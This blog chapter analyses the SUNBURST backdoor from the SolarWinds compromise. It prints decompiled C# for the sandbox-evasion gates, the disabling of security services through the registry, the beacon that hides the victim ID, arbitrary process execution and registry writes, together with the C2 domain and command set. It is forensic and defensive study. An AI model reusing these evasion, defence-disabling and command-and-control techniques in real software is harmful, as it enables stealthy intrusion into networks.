Martin's Blog

4. SUNBURST Anatomy: Gates, DGA, and C2

This is the chapter the rest of the book points at. The previous chapter showed how a 3,346-line class named OrionImprovementBusinessLayer got compiled into a signed Orion DLL and launched from a twelve-line trigger. Here we read that class.

One fact frames everything. Decompiling the implant from all three weaponized builds and diffing the backdoor class shows that its decompiled source is byte-for-byte identical across 2019.4.5200.9083, 2020.2.5200.12394, and 2020.2.5300.12432:

Comparing OrionImprovementBusinessLayer.cs across the three builds produces no differences.

There is, in effect, one SUNBURST. The differing DLL hashes come from surrounding files and version stamps, not from the backdoor. So everything below is a single object of study, and all snippets are taken from the 9083 decompilation.

4.1 The two primitives you need to read the rest

Before any logic makes sense, you need the two obfuscation tricks SUNBURST uses everywhere.

(1) String hiding, ZipHelper.Unzip. Sensitive strings are not in the binary as text. They are stored as ZipHelper.Unzip("<base64>"), which is base64-decode → raw DEFLATE inflate. To decode any constant in the implant:

import base64, zlib
zlib.decompress(base64.b64decode("<b64>"), -15).decode()   # -15 = raw DEFLATE, no zlib header

Run it on the constants and the canonical SUNBURST indicators fall out:

Constant in the DLL Decodes to Meaning
domain1 avsvmcloud.com C2 base domain (DGA builds subdomains of it)
domain2 appsync-api C2 subdomain label
apiHost api.solarwinds.com a real SolarWinds host, used as a benign-looking pre-check
appId 583da945-62af-10e8-4902-a8f205c72b2e named pipe GUID / single-instance lock
reportStatusName ReportWatcherRetry persisted execution state flag
serviceStatusName ReportWatcherPostpone persisted execution state flag

This is why a strings dump of the DLL shows none of the famous IOCs: they are DEFLATE blobs until runtime. (avsvmcloud.com and the pipe GUID genuinely do not appear as plaintext, their absence from an ordinary strings listing is expected, not contradictory.)

(2) Name hashing, GetHash (FNV-1a-64 with a twist). Wherever the implant compares a name (a process, a service, a driver, the host process itself), it compares a 64-bit hash, not a string. The function is FNV-1a-64 with a non-standard final XOR of 0x5BAC903BA7D81967 (init 14695981039346656037, prime 1099511628211). That XOR constant is exactly what FireEye’s YARA keys on:

$fnv_xor = { 67 19 D8 A7 3B 90 AC 5B }     // 0x5BAC903BA7D81967, little-endian

Two consequences run through this whole chapter. First, the hashes are one-way, but because GetHash is in the binary; they are recoverable by dictionary attack (and the full blocklist was recovered, §4.4). Second, you can validate any analysis of the hash by checking a known pair: GetHash("solarwinds.businesslayerhost") == 17291806236368054941. That equality is the host process gate (§4.3), and confirming it proves the hash implementation before trusting anything else built on it.

4.2 Map of the implant

OrionImprovementBusinessLayer is the outer class; the work is in nested helpers:

The control flow is a funnel: Initialize enforces a chain of preconditions; only if all pass does Update open the channel; only then do JobEngine commands run.

4.3 Stage A: the arming gates (Initialize)

Launching the thread (Chapter 3) does not mean commands run. Initialize() enforces a chain of guards; if any fails it returns silently. The first two are the most cited, and both are in one block:

// OrionImprovementBusinessLayer.cs (decompiled from build 9083)
DateTime lastWriteTime = File.GetLastWriteTime(Assembly.GetExecutingAssembly().Location);
int num = new Random().Next(288, 336);                                  // 288–336 h ≈ 12–14 days
if (DateTime.Now.CompareTo(lastWriteTime.AddHours(num)) < 0) return;    // too soon → sleep
instance = new NamedPipeServerStream(appId);                            // appId = 583da945-… (one instance)

Line by line:

  1. lastWriteTime of the DLL on disk: the implant times itself from its own file’s last write time, i.e. roughly when Orion was installed/updated.
  2. Random().Next(288, 336): a random number of hours where 288 ≤ hours < 336 (.NET Random.Next is upper bound exclusive, so 288–335 inclusive), i.e. 12 to 14 days. The randomization is deliberate: it smears activation across a window so infections don’t all wake at once, and it comfortably outlasts any sandbox or detonation chamber.
  3. if (DateTime.Now … < 0) return;: if less than that many hours have elapsed since install, abort silently and try again later. A freshly-installed Orion, or one detonated in an analysis VM for a few hours, never reaches the payload.
  4. new NamedPipeServerStream(appId): opens the single-instance pipe 583da945-…. If it already exists, another copy is running; abort. This is the IsAlive check the trigger keyed on (Chapter 3).

The full Stage-A chain, reconstructed from the decompiled source, all must hold:

  1. Right host process. GetHash(currentProcessName.ToLower()) must equal 17291806236368054941, which is uniquely solarwinds.businesslayerhost (the Orion “Module Engine” service). The implant only arms inside that one process; loaded anywhere else it does nothing. (The privilege significance of which process that is, a highly privileged Orion service documented by SolarWinds as running under LocalSystem, is the subject of the Epilogue.)
  2. Time-bomb. The 12–14-day dormancy above.
  3. Single instance. The named pipe above.
  4. Not previously killed. If the persisted ReportStatus in the .config is Truncate (a prior self-disable, set by the killswitch path, §4.5), abort permanently.
  5. Domain-joined. IPGlobalProperties.DomainName must be non-empty; it only runs on enterprise, domain-joined hosts.
  6. Domain not blocklisted. IsNullOrInvalidName(domain) must be false. It rejects domains whose second-level label hashes match an internal blocklist, and rejects the regexes (?i)(solarwinds) and (?i)…(test)…. SolarWinds’ own, test, and lab domains are deliberately skipped, including the host where an analyst would most likely detonate it.
  7. Victim ID. GetOrCreateUserID() must succeed; it creates a per-host ID from the registry MachineGuid (HKLM\SOFTWARE\Microsoft\Cryptography) + the AD domain + the first MAC address.

Every one of these gates is suppression: the backdoor’s default behaviour is to do nothing, and each gate is another reason to stay dark. That is what made it nearly un-catchable in a sandbox.

4.4 ProcessTracker: anti-analysis and disabling defenses

ProcessTracker.TrackProcesses() runs at every gate and inside the beacon loop. It compares the running environment against FNV-1a hash blocklists and, for security services, actively disables them. The lists (all hashed; all recovered here by dictionary attack and cross-checked):

Blocklist (hashed) Count Source it hashes Action on match
process names 137 (136 unique) Process.GetProcesses() implant backs off / aborts
driver file names 17 WMI Win32_SystemDriver.PathName back off
service names 22 running services actively disables the service
domain names (patternHashes) 13 used by gate #6 refuse to arm on that domain

The full set of 188 unique blocklist values across 189 array slots is 100% recovered (the process array repeats one value; 145 names were cracked independently here by dictionary

When a blocklisted service is found, SearchServices → SetManualMode disables it across reboot, and the string constants tell you exactly what it touches:

// ProcessTracker.SetManualMode  (~line 599); ZipHelper.Unzip constants decoded inline
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(
    ZipHelper.Unzip("C44MDnH1jXEuLSpKzStxzs8rKcrPCU4tiSlOLSrLTE4tBgA="));   // "SYSTEM\CurrentControlSet\services"

using RegistryKey registryKey2 = registryKey.OpenSubKey(text, writable: true);
if (Enumerable.Contains(registryKey2.GetValueNames(), ZipHelper.Unzip("Cy5JLCoBAA=="))) {   // "Start"
    registryKey2.SetValue(ZipHelper.Unzip("Cy5JLCoBAA=="), 4, RegistryValueKind.DWord);      // "Start" = 4 (Disabled)
}
  1. Open HKLM\SYSTEM\CurrentControlSet\services: note the path is a DEFLATE blob, not plaintext; decode it and it’s the service control registry tree.
  2. Open the target service subkey writable (text = the matched service name).
  3. If it has a Start value, set it to 4. In Windows service config, Start = 4 means Disabled, so the defensive service will not start after the next reboot. SUNBURST takes ownership of the key first if needed (RegistryHelper.SetKeyPermissions), records what it changed (so it can restore it, SetAutomaticMode, invoked when the killswitch fires), and reports the disabled set back to the operator inside the DGA hostname (§4.6, Phase B).

This is environment awareness as a weapon: hide from analysis tooling, and where the inherited token permits it, quietly neuter endpoint security at the registry level across reboot. These are administrator-level operations designed to exploit the privileged host context discussed in the Epilogue; the static code does not prove that every operation succeeded in every deployment.

4.5 Stage B: Update() opens the channel

If Stage A passes, Update() adds two more gates and then makes the go/no-go decision:

  1. Environment re-check (UpdateNotification). Abort if any blocklisted security process is running (the §4.4 list) or if api.solarwinds.com is unreachable, a connectivity / sandbox check disguised as a call to a real SolarWinds host. Retries up to 3×.
  2. The DGA beacon decides “go / kill / retry.” The implant derives an *.appsync-api.<region>.avsvmcloud.com hostname (§4.6) and resolves it by DNS. The resolved record routes behaviour by range, not by address:
    • resolves into a killswitch IP range → write ReportStatus.Truncate and permanently disable (this is gate #4 on the next run, and the seam the global killswitch exploited, Chapter 8);
    • the answer includes a CNAME → the “proceed” signal: build HttpHelper and start the command loop against the CNAME host (§4.7);
    • anything else → randomized backoff and retry.

The key insight, developed with the passive DNS evidence in Chapter 5, is that the DNS answer is a directive. The operator’s name server replies to each victim’s DGA query with an IP whose range membership tells the implant what to do: escalate, stand down, or wait, long before any HTTP traffic exists.

4.6 CryptoHelper: the DGA and DNS exfiltration

CryptoHelper builds the avsvmcloud.com hostnames. Its shape:

It does two jobs depending on ReportStatus:

4.7 The C2 protocol: receiving commands

Once a CNAME says “proceed,” HttpHelper polls that host over HTTP/HTTPS (with TLS certificate validation forcibly disabled; any cert is accepted). Everything is camouflaged as legitimate SolarWinds “Orion Improvement Program” (OIP) telemetry.

The idle beacon. A poll is a GET/HEAD carrying the XOR-masked victim ID in an If-None-Match header:

private string GetCache() {                            // build the masked victim id
    byte[] array  = customerId.ToArray();
    byte[] array2 = new byte[array.Length];
    random.NextBytes(array2);                           // fresh random pad each call
    for (int i = 0; i < array.Length; i++)
        array[i] ^= array2[2 + i % 4];                 // XOR the id with 4 bytes of the pad
    return ByteArrayToHexString(array) + ByteArrayToHexString(array2);   // masked id ‖ pad
}
// Headers.Add(ZipHelper.Unzip("80zT9cvPS9X1TSxJzgAA") /* "If-None-Match" */, GetCache());
  1. customerId.ToArray(): the victim ID from gate #7.
  2. random.NextBytes(array2): a fresh random pad every beacon.
  3. array[i] ^= array2[2 + i % 4]: XOR the ID with four rotating bytes of the pad, so the header value differs every time (no static IOC).
  4. return masked ID ‖ pad: the pad is appended so the server can reverse the XOR. The whole thing rides in If-None-Match, a header a caching proxy expects to see: perfect cover.

The command is hidden in the response. For GET responses the bytes are embedded as GUID/hex-looking JSON tokens and pulled out with the regex "\{[0-9a-f-]{36}\}"|"[0-9a-f]{32}"|"[0-9a-f]{16}", then hex-decoded (ParseServiceResponse). The recovered blob is [4-byte length][payload], where payload is single-byte-XOR-keyed then DEFLATE-compressed (byte 0 is the XOR key + a checksum; the rest is un-XORed and inflated). The plaintext is the ASCII string "<jobId> <args>"; jobId selects a JobEngine handler (validated with Enum.IsDefined), args is the rest.

Proxy traversal. To egress proxied networks, SUNBURST honours a proxy mode smuggled in the DNS answer and routes through the victim’s own configured proxy, reading the proxy’s stored username/password from Orion’s settings (HttpProxySettings.Instance). This is the only stored credential the implant ever touches, and it uses it purely to make its beacons blend into the host’s normal proxied traffic. The Epilogue explains why this is the only credential it reads and what that says about the design.

4.8 The JobEngine command set

Job.SplitString tokenizes the arguments (quote/backtick-aware, with %ENV% expansion), then the job ID selects a handler. The full set is a complete remote administration toolkit:

ID Command What it does
0 Idle nothing; keep polling
1 Exit stop the backdoor thread
2 SetTime set the inter-beacon delay
3 CollectSystemDescription full host profile (AD domain, SID, hostname, user, OS, NICs via WMI)
4 UploadSystemDescription issue an arbitrary HTTP request (operator URL/headers/body) and return it: exfil / SSRF / fetch
5 RunTask execute an arbitrary program
6 GetProcessByDescription enumerate processes (optionally WMI owner + command line)
7 KillTask kill a process by PID
8 GetFileSystemEntries list files/dirs by pattern
9 WriteFile base64-decode and append bytes to a file (stage payloads)
10 FileExists test a path
11 DeleteFile delete a file
12 GetFileHash MD5 a file / compare to a supplied hash
13–16 …RegistryValue read / write / delete / enumerate registry
17 Reboot reboot the host (adjusts SeShutdownPrivilege)
18 None sentinel

Two handlers show the texture. RunTask: arbitrary execution:

public static int RunTask(string[] args, string cl, out string result) {
    string fileName  = Environment.ExpandEnvironmentVariables(args[0]);
    string arguments = (args.Length > 1) ? cl.Substring(GetArgumentIndex(cl, 1)).Trim() : null;
    using (Process process = new Process()) {
        process.StartInfo = new ProcessStartInfo(fileName, arguments)
            { CreateNoWindow = false, UseShellExecute = false };
        if (process.Start()) result = process.Id.ToString();    // returns the new PID
    }
}

args[0] is an env-expanded path; the rest is the command line; UseShellExecute = false runs the binary directly with the Orion host process’s inherited token; the new PID is returned to the operator. This is the primitive that launches a second stage.

SetRegistryValue: typed registry write:

public static int SetRegistryValue(string[] args) {
    RegistryValueKind valueKind = (RegistryValueKind)Enum.Parse(typeof(RegistryValueKind), args[2]);
    string valueData = (args.Length > 3) ? Encoding.UTF8.GetString(Convert.FromBase64String(args[3])) : "";
    return RegistryHelper.SetValue(args[0], args[1], valueData, valueKind) ? 0 : 1;
}

args[0]/args[1] are key/value name, args[2] the type, and args[3] the base64-encoded data: arbitrary registry writes, anywhere the inherited host token can reach.

Lateral movement, precisely. Note what is not here: there is no SMB, remote WMI, PsExec, or admin share primitive in the command set. SUNBURST does not move laterally itself. RunTask + WriteFile + UploadSystemDescription are exactly the primitives needed to drop and launch a second stage, and that second stage (TEARDROP/RAINDROP → Cobalt Strike BEACON) is the real lateral movement toolkit (Chapter 6).

4.9 Returning results: exfil disguised as telemetry

A handler’s output, its error code, and the victim ID are concatenated, DEFLATE-compressed then single-byte-XOR-masked, split into up to ~30 randomly-sized chunks, and each chunk is base64- wrapped inside a fake OIP telemetry record on the next beacon:

{"userId":"…","sessionId":"…","steps":[
  {"Timestamp":"/Date(…)/","Index":N,"EventType":"Orion","EventName":"EventManager",
   "DurationMs":,"Succeeded":true,"Message":"<base64 chunk>"}]}

Real chunks are distinguished from random padding chunks by a low bit flag folded into the Timestamp value, so the exfil stream looks exactly like normal-volume Orion analytics traffic, padding and all. To a network defender, an infected Orion server talking telemetry is what an Orion server is supposed to do.

4.10 Why it was so hard to catch

Stack the gates and the picture is a machine built, above all, to not be caught. Commands run only when every one of these holds at once:

And when it does act, it talks DNS that looks like AWS service names and HTTP that looks like the product’s own telemetry. Installing SUNBURST did almost nothing; that was the design. The breadth (Chapter 5) made it espionage-grade reach; the restraint above made it nearly invisible; and the selectivity meant only a hand-picked few were ever escalated to the hands-on second stage (Chapter 6).

Sources & evidence

↑ Revisiting the SolarWinds Compromise